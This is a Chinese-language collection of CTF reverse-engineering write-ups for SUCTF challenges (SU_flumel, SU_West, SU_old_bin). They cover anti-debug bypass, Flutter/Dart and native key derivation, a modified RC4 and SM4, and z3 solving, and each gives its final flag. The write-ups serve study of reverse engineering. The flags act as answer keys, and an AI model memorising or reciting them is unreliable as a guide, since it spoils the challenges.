这道题的关键难点不在单个函数,而在于把三部分拼起来:
chal.exe的壳与隐藏 PE 提取- 隐藏 PE 的驱动调度逻辑
Revird.sys中各个命令的真实语义
当这三部分被统一到一个完整模型里后,本题就可以转化为对自定义分组算法的逆向还原,最终稳定解出 flag。
SU_flumel
题目信息
- 题目文件:
flumel.apk - 关键 Native:
flumel/lib/x86_64/libjunk.so - 关键资源:
flumel/assets/flutter_assets/bundles/cache.snap.bundle - 最终 flag:
SUCTF{w311_d0n3_y0u_kn0w_h3rm35_n0w}
总体思路
这题是一个典型的 Flutter + Native 混合校验题。
一开始如果只盯着 libjunk.so,会发现它确实在做最终的 flag 校验,但直接从 Native 里解出来的并不是可读字符串,而是一段 36 字节的中间态数据。说明真正的用户输入在进入 Native 之前,还经过了 APK / Dart 层的一次变换。
所以正确做法是:
- 先逆
libjunk.so,搞清楚最终比较逻辑,拿到 Native 校验前的中间态。 - 再逆 APK 里的 Dart 逻辑,找到输入是怎么被预处理的。
- 把两层拼起来,逆回原始 flag。
一、分析 libjunk.so
1.1 关键函数定位
在 libjunk.so 里,核心校验函数是导出的 qk9v,地址为:
0x4490
结合 IDA MCP 和调用关系,可以确定它接收 4 个参数:
- 用户输入对应的字节指针
- 用户输入长度
cache.snap.bundle的字节指针cache.snap.bundle的长度
其中它会强校验:
- 输入长度必须是
36 - bundle 长度必须
>= 256
1.2 反调试 / 反 Frida
qk9v 开头有一段比较标准的检测逻辑,包括:
- 读取
/proc/self/status检查TracerPid - 扫
/proc/self/maps - 扫
/proc/self/task/*/comm 匹配关键字:
frida-agentfrida-gadgetgum-js-looplinjector
这部分对最终解题没有本质影响,静态分析即可绕过。
1.3 Hermes bundle 参与校验
Native 不只是简单拿 bundle 当常量,而是真的把它作为校验链的一部分使用:
- 会调用
HermesRuntime::isHermesBytecode - 会构造 Hermes runtime
- 用字符串
"bundles/cache.snap.bundle"作为脚本名去执行该 bundle
也就是说,cache.snap.bundle 不是障眼法,而是参与了后续密钥派生。
1.4 AES 校验逻辑
qk9v 会对 36 字节输入做如下处理:
- 使用 PKCS#7 padding,把 36 字节补到 48 字节
- 使用 AES-128-CBC 加密
- 将密文和 so 内嵌常量比较
输入补齐后,末尾会补 12 个 0x0c。
1.5 Key / IV 派生
从 so 中还原出的派生公式如下。
先定义:
fnv32 = FNV1a32(bundle)crc32 = CRC32(bundle)
然后:
key[i] = key_mask[i]
^ ((fnv32 + i) & 0xff)
^ bundle[(11 + 17*i) % len(bundle)]
iv[i] = iv_mask[i]
^ (((crc32 >> 8) + 3*i) & 0xff)
^ bundle[(7 + 29*i) % len(bundle)]
其中:
key_mask位于0x1FE0iv_mask位于0x2020
把 so 内嵌密文拼出来后,直接 AES-CBC 解密,得到 Native 期待的 36 字节明文:
2f3314c304c1fa86dbd85e331093d5959d7eae4bc2a903315194e53c9ca07babd8d8d743
Base64 形式为:
LzMUwwTB+obb2F4zEJPVlZ1+rkvCqQMxUZTlPJyge6vY2NdD
但它不是可打印 ASCII,所以这不是最终 flag,而是 APK 层处理后的中间结果。
二、分析 APK / Dart 层
2.1 还原 Dart 逻辑
这是 Flutter 应用,直接看 Java 层意义不大。核心逻辑在 libapp.so 对应的 Dart AOT 代码里。
这里使用 blutter 对 libapp.so 做还原,得到关键文件:
ctf_verifier.dart
从还原结果可以看到核心流程:
CtfVerifier::verify
-> _loadHermesBundle()
-> _buildRc4Key()
-> Rc4Warp::process(userInput)
-> _verifyInNativeAsync()
-> _nativeWorker()
-> dlopen("libjunk.so")
-> dlsym("qk9v")所以 Native 收到的并不是用户原始输入,而是 Rc4Warp::process 的输出。
2.2 bundle 来源
_loadHermesBundle() 直接从资源里加载:
bundles/cache.snap.bundle
然后把这个 bundle 的字节数组传给 Native。
这就和前面 libjunk.so 的 bundle 依赖完全对上了。
2.3 RC4 key 的构造
_buildRc4Key() 很清楚,常量数组为:
[0x1f, 0x3b, 0x3f, 0x03, 0x00, 0x0a, 0xcf, 0xe5, 0xe7, 0xe8, 0xca, 0xcc, 0xd2]
对每个位置 i,做:
key[i] = const[i] ^ ((9*i + 0x4b) & 0xff)
算出来就是:
TobeorNottobe
2.4 Rc4Warp::process 不是标准 RC4
继续看 Rc4Warp::process 会发现,它借用了 RC4 的 S 盒思路,但 KSA 和 PRGA 都做了额外扰动,不是标准 RC4。
关键点有两层:
- 初始化
S[256] - 用自定义的轮转、异或、索引扰动生成密钥流
KSA 部分
初始化:
S[i] = iacc = 0rot = 0xC3
循环 i = 0..255:
k1 = key[(5*i + 1) % key_len]
k2 = key[(3*i + 7) % key_len]
rot = rol8(rot, 1)
acc = (acc + S[i] + k1 + (k2 ^ rot) + i) & 0xff
swap(S[i], S[acc])PRGA 部分
初始化:
i = 0j = 0rot = 0x9d
对每个输入字节 b:
i = (i + 1) & 0xff
si = S[i]
j = (j + si + 11*i) & 0xff
swap(S[i], S[j])
sj = S[i]
u = (sj + si + (S[(i + j) & 0xff] ^ rot)) & 0xff
rot = rol8(rot, 3)
su = S[u]
ks = su ^ S[(su ^ rot) & 0xff] ^ ((13*i) & 0xff)
out_byte = b ^ ks因为这里依旧是异或型流加密,所以加密和解密是同一个函数。
三、拼出最终 flag
前面从 Native 层拿到的是中间态:
2f3314c304c1fa86dbd85e331093d5959d7eae4bc2a903315194e53c9ca07babd8d8d743
再把它丢进 Rc4Warp::process(key="TobeorNottobe") 做一次逆运算,就得到最终输入:
SUCTF{w311_d0n3_y0u_kn0w_h3rm35_n0w}
四、最终脚本
为了方便复现,最终把完整逻辑写进了:
solve_flag.py
它做了三件事:
- 从
libjunk.so提取常量 - 结合
cache.snap.bundle派生 AES key / iv 并解密 - 运行 Dart 层自定义
Rc4Warp,恢复最终 flag
五、结论
这题的难点不在单独某一层,而在于:
- Native 层只给出“中间态”
- Dart 层又藏了一层自定义流变换
cache.snap.bundle同时被 APK 和 Native 共用
只逆 so 会卡在“解出一段乱码”,只看 APK 又拿不到最终比较条件。必须把 Flutter 层和 Native 层一起串起来,才能完整解题。
Flag
SUCTF{w311_d0n3_y0u_kn0w_h3rm35_n0w}
SU_West
题目信息
- 题目名:
SU_West - 类型:
Reverse - 分值:
363PT - 样本:
Journey_to_the_West.exe
最终 flag:
SUCTF{y0u_h4v3_0v3rc0m3_81_d1ff1cu1t135}
一、程序入口分析
程序入口在 main,核心流程很清晰:
- 先做一轮反调试检测。
- 读取输入。
- 对 81 轮数据逐轮校验。
- 如果全部通过,直接打印 40 字节
flag。
反编译后主逻辑可以概括成:
if (sub_140001100(..., 1)) {
puts("debugger detected");
} else {
if (sub_1400012C0(argc, argv, inputs)) {
puts("all inputs collected, starting verification...");
if (sub_1400013B0(inputs, &round_idx, &layer_idx)) {
puts("correct");
} else {
printf("incorrect at round %zu (layer %u)\n", ...);
}
} else {
puts("input format error");
}
}其中最关键的是:
sub_1400012C0:读取 81 个输入。sub_1400013B0:执行 81 轮校验,成功后打印 flag。
二、输入格式
输入支持两种方式:
- 交互式输入 81 次。
- 作为命令行参数一次性传入。
真正的解析函数是 sub_140013070,约束如下:
- 必须是十进制数字串。
- 长度必须是
16。 - 数值范围是
[10^15, 10^16 - 1]。
命令行模式下,81 个数用逗号分隔,对应函数是 sub_140012F90。
所以样本的输入本质上是:
81 个 16 位十进制整数
三、81 轮校验结构
sub_1400013B0 初始化了一个状态结构,然后循环 81 次:
for (i = 0; i != 81; ++i) {
layer = byte_14003DEE0[i];
if ( sub_140001100(...)
|| !funcs_140001499[layer](&state, input[i])
|| sub_140001100(...) ) {
// 失败,记录 round / layer
return 0;
}
}
printf("flag: %.*s\n", 40, flag_buf);这里有两个非常关键的全局数据:
byte_14003DEE0:长度 81 的层顺序表,决定每一轮调用哪一个 layer。funcs_140001499:81 个函数指针,分别对应 81 个 layer 的校验函数。
这意味着:
- 输入顺序固定是 81 轮。
- 但每轮真正执行的校验函数,由
byte_14003DEE0决定。
四、反调试
程序有几层反调试:
IsDebuggerPresentCheckRemoteDebuggerPresent- 遍历导入表 / 内存页属性做额外检查
- 基于
clock()的耗时检测
这部分主要在:
sub_140001580sub_140001780sub_1400017E0
不过这题并不需要正面硬刚反调试。因为:
- 直接静态分析即可;
- 关键校验逻辑都能被完整复现;
- 外围的
sub_140001100更像“状态搅动器”,不是唯一判定来源。
五、每层函数的公共模板
随便看几层函数,比如:
sub_140001EB0sub_1400021A0sub_1400024B0sub_1400051A0
会发现它们虽然常量不同,但骨架高度一致:
先调用一组公共 helper:
sub_140012480sub_140012630sub_140012780sub_140012940
- 用
sub_140012940(...)的结果和一个 64 位常量比较。 比较成功后,再更新状态和 flag 缓冲区:
sub_140012B90sub_140012C00sub_140012CA0
也就是说,每轮校验的核心其实是:
给定当前 state、round、layer、table,找到一个 16 位十进制整数 input,
使得 sub_140012940(...) == 当前 layer 对应的 magic 常量
这就把题目变成了一个非常适合脚本化求解的问题。
六、关键数据布局
每个 layer 都对应一块大小约 0xC0 的数据表,起始于:
0x14002A710
后续 layer 表是连续排列的。
这些表会被公共 helper 读取,用来生成每层不同的约束。
因此整题的结构可以概括为:
layer 函数模板 + 每层常量 + 每层数据表 + layer 调度顺序
七、求解思路
1. 提取 layer 对应的 magic 常量
每个 layer 函数里都会出现一段逻辑:
v_magic = sub_140012940(...);
if ( v_magic != 0xXXXXXXXXXXXXXXX )
return 0;
所以先把 81 个函数扫一遍,提取出每层比较用的 64 位常量。
我在脚本里直接用:
pefile读 PEcapstone反汇编函数
自动从函数中抓出这组 magic。
2. 复现公共 helper
把下面这些 helper 用 Python 完整复现:
sub_140012480sub_140012630sub_140012780sub_140012940sub_140012B90sub_140012C00sub_140012CA0
其中:
- 前三个主要负责从当前输入和状态推导中间值;
sub_140012940产出真正拿去比较的 64 位结果;- 后三个在每轮成功后更新状态和 flag 缓冲区。
3. 用 Z3 逐轮求输入
每轮只需要求一个变量:
input_i ∈ [10^15, 10^16 - 1]
令:
sub_140012940(...) == magic[layer]
交给 z3 求解即可。
因为每轮求出的输入会影响后续状态,所以必须:
- 按真实轮次顺序求;
- 每解出一轮就更新一次状态;
- 再进入下一轮。
这样递推 81 次,最终不仅能得到全部输入,还能同步还原出 flag 缓冲区。
八、自动化脚本
本地求解脚本已经写在:
运行方式:
python solve.py
脚本完成的事情:
- 读取
Journey_to_the_West.exe - 提取函数表、layer 顺序表和 layer 数据表
- 自动提取各 layer 的
magic - 用
z3逐轮求 81 个输入 - 按真实逻辑更新状态和 flag 缓冲区
- 输出最终 flag
九、验证
将脚本求出的 81 个输入作为命令行参数喂给程序,程序输出:
all inputs collected, starting verification...
flag: SUCTF{y0u_h4v3_0v3rc0m3_81_d1ff1cu1t135}
correct
说明求解完全正确。
十、总结
这题表面上是 81 层大体量校验,实际上是一个很标准的“模板化层函数 + 每层常量/表驱动”的逆向题。
核心突破点有三个:
- 识别
81个 layer 函数其实是同一套模板。 - 把真正的判定条件缩到
sub_140012940(...) == magic。 - 用脚本复现公共逻辑并结合
z3逐轮求解。
最终 flag:
SUCTF{y0u_h4v3_0v3rc0m3_81_d1ff1cu1t135}
SU_old_bin
题目信息
附件里核心文件是 old.bin。 目标是还原校验逻辑并求出最终 flag。
最终得到的 flag 为:
flag{3putis6omqi3u7034722576kpze4udduejoko8zr3e6ozvp8mosm6065q1}
这串内容已经送回程序验证逻辑,结果为 valid=True。
1. 初步分析
先对 old.bin 做基础检查:
- 熵很高,不像纯文本或普通压缩包
- 开头也不是常见文件头
- 很像整体被做了一层简单混淆
实际分析后发现:
old.bin 的每个字节都被异或了 0x7f
还原后得到一个自定义镜像,开头是 IMG0。
2. 拆出镜像内容
IMG0 里一共有 4 个 entry:
entry00.binentry01.binentry02.binentry03.bin
其中最关键的是:
entry01.bin:解压后是主程序entry02/entry03:一些SMALLFW包,里面有CTF_PAYLOAD_*和NOTE_*
2.1 entry01
entry01.bin 经 xz 解压后,能得到一份被改坏 ELF 头的 MIPS64 little-endian 程序。 修正头部后得到:
old.bin_246/entry01.fixed.elf
这就是主逆向目标。
2.2 entry02 / entry03
这两个包继续展开后,能看到:
SMALLFW- 多层
xz/gzip/zip - 若干
CTF_PAYLOAD_file_* NOTE_0_ZIKH26NOTE_1_ZIKH26
这些内容一开始看起来很像 flag 载体,但后面证明主解法还是在 entry01.fixed.elf 的校验逻辑里。
3. 主程序功能定位
把 entry01.fixed.elf 丢进 IDA 后,主逻辑很快能定位到:
sub_120007FF8:初始化验证状态sub_120009B7C:处理一次客户端连接sub_1200084F4:发 32 字节 challengesub_120008658:真正验证输入sub_120009E44:主函数,带 socket/accept 循环
程序流程大致是:
- 初始化一份内部状态
- 给客户端发一个 32 字节 challenge
- 从客户端读最多 64 字节
- 跑一套自定义变换
- 和内置 64 字节目标值比较
- 成功则打印
VALIDATION_SUCCESS
4. 校验逻辑拆解
4.1 状态初始化
状态由 4 个固定 qword 作为种子:
0xFFF55731369D7563
0x16E58EB22FBD5C72
0x3632ED844C43F5B0
0x390980A442221584
再经过:
splitmix64xoshiro256**
生成内部随机状态。
初始化阶段会构造三块关键数组:
arr4[64]arr5[64]arr6[48]
其中:
arr5是0..63洗牌后的结果arr4/arr6由 PRNG + AES S-box 生成
4.2 输入预处理
用户输入最多 64 字节,不足的部分会自动补:
pad[j] = (17 * j) & 0xff
然后每一位再和 arr4[(7*j)&0x3f] + j 异或。
4.3 六轮字节变换
随后进入 6 轮逐字节变换,每轮都会从 PRNG 取一个 6-bit mask:
x ^= mask + pos + round_idx
x = rol8(x, 1)
x ^= AES_SBOX[(x + 13 * round_idx) & 0xff]
4.4 二次重排
接下来生成 i3[64]:
idx = arr5[k] & 0x3f
tmp = i2[idx] ^ arr6[k % 0x30]
i3[k] = AES_SBOX[tmp] ^ arr4[k]
4.5 16 字节分块加密
i3 被分成 4 个 block,每个 block 16 字节。 之后进入一个“类 SM4 但被魔改过”的分组算法。
关键点:
- S 盒不是标准调用方式,而是
table[(x + 55) & 0xff] - 线性层是用 64 位寄存器做“32 位窗口旋转”
- 常量
CK不是标准 SM4 的那组值 - 最终只取每个输出 qword 的低 32 位对应字节参与比较
最后输出的 64 字节会和程序内置 target 比较。
5. 逆向过程中的关键坑点
这题最大的坑不是“大算法难”,而是“细节很多,错一处整题全偏”。
5.1 rol64 的 64 位截断
我一开始自己写的 rol64 没有在旋转前先做:
value &= 0xFFFFFFFFFFFFFFFF
而 xoshiro 里有:
rol64(5 * s1, 7)
5 * s1 在 Python 会变成无限精度整数,如果不先截成 64 位,右移时会把多出来的高位也带进去,导致随机流悄悄错掉。
修正后:
arr4和真机一致arr5和真机一致
这一步是整题真正的突破点。
5.2 魔改 CK 常量
块加密一开始看起来很像 SM4,但 round key 一直对不上。 后面通过 angr 对照真实函数执行,确认:
CK 不是标准 SM4 CK
需要用程序内实际内存里的 32 个常量。
5.3 key 传参格式
sub_120009938 的第二个参数并不是原始 16-byte key 直接传进去, 而是先拆成 4 个 32 位 big-endian word,再放进 qword 低 32 位。
如果这里直接按 16 字节原样传,轮密钥会全错。
5.4 输出并不唯一
把整套逻辑逆出来后,会发现:
- 每个字节并不一定只有一个前像
- 也就是说“满足校验”的字符串不是唯一
但题目显然是 CTF flag,前缀自然应当收敛到:
flag{
在所有可行字符中选出标准 flag 形式后,得到最终答案。
6. 求解思路总结
整体求解步骤如下:
old.bin ^ 0x7f,恢复IMG0- 提取
entry01 - 解压并修正 ELF 头,得到 MIPS64 程序
- 在 IDA 中定位验证函数
还原:
- PRNG
arr4/arr5/arr6- 6 轮字节变换
- 魔改块加密
- 用真实执行结果校正脚本中的细节错误
- 逆出 64 字节可行输入
- 从可行解中选出符合
flag{...}形式且能通过验证的一组
7. 最终结果
最终通过验证的 flag:
flag{3putis6omqi3u7034722576kpze4udduejoko8zr3e6ozvp8mosm6065q1}
8. 题后总结
这题最有代表性的地方有两个:
- 外层拆包很多,容易让人误以为 flag 在
SMALLFW/NOTE/CTF_PAYLOAD里 真正主逻辑虽然不算超大,但实现细节非常毒:
- 64 位截断
- 魔改常量
- 参数打包格式
- 只取输出低 32 位字节
如果没有把“脚本实现”和“真二进制执行”逐步对齐,很容易陷在一个看起来很合理、但永远差一点点的错误模型里。
9. 相关脚本
目录里我用到/补过的主要脚本有:
solve_flag.pyangr_compare.pyangr_state_compare.pyanalyze_solution_space.py
其中真正最后收敛 flag 的核心是:
- 先把
solve_flag.py修到和真机一致 - 再用
analyze_solution_space.py确认可选字符范围 - 最后选出
flag{...}形式的合法解
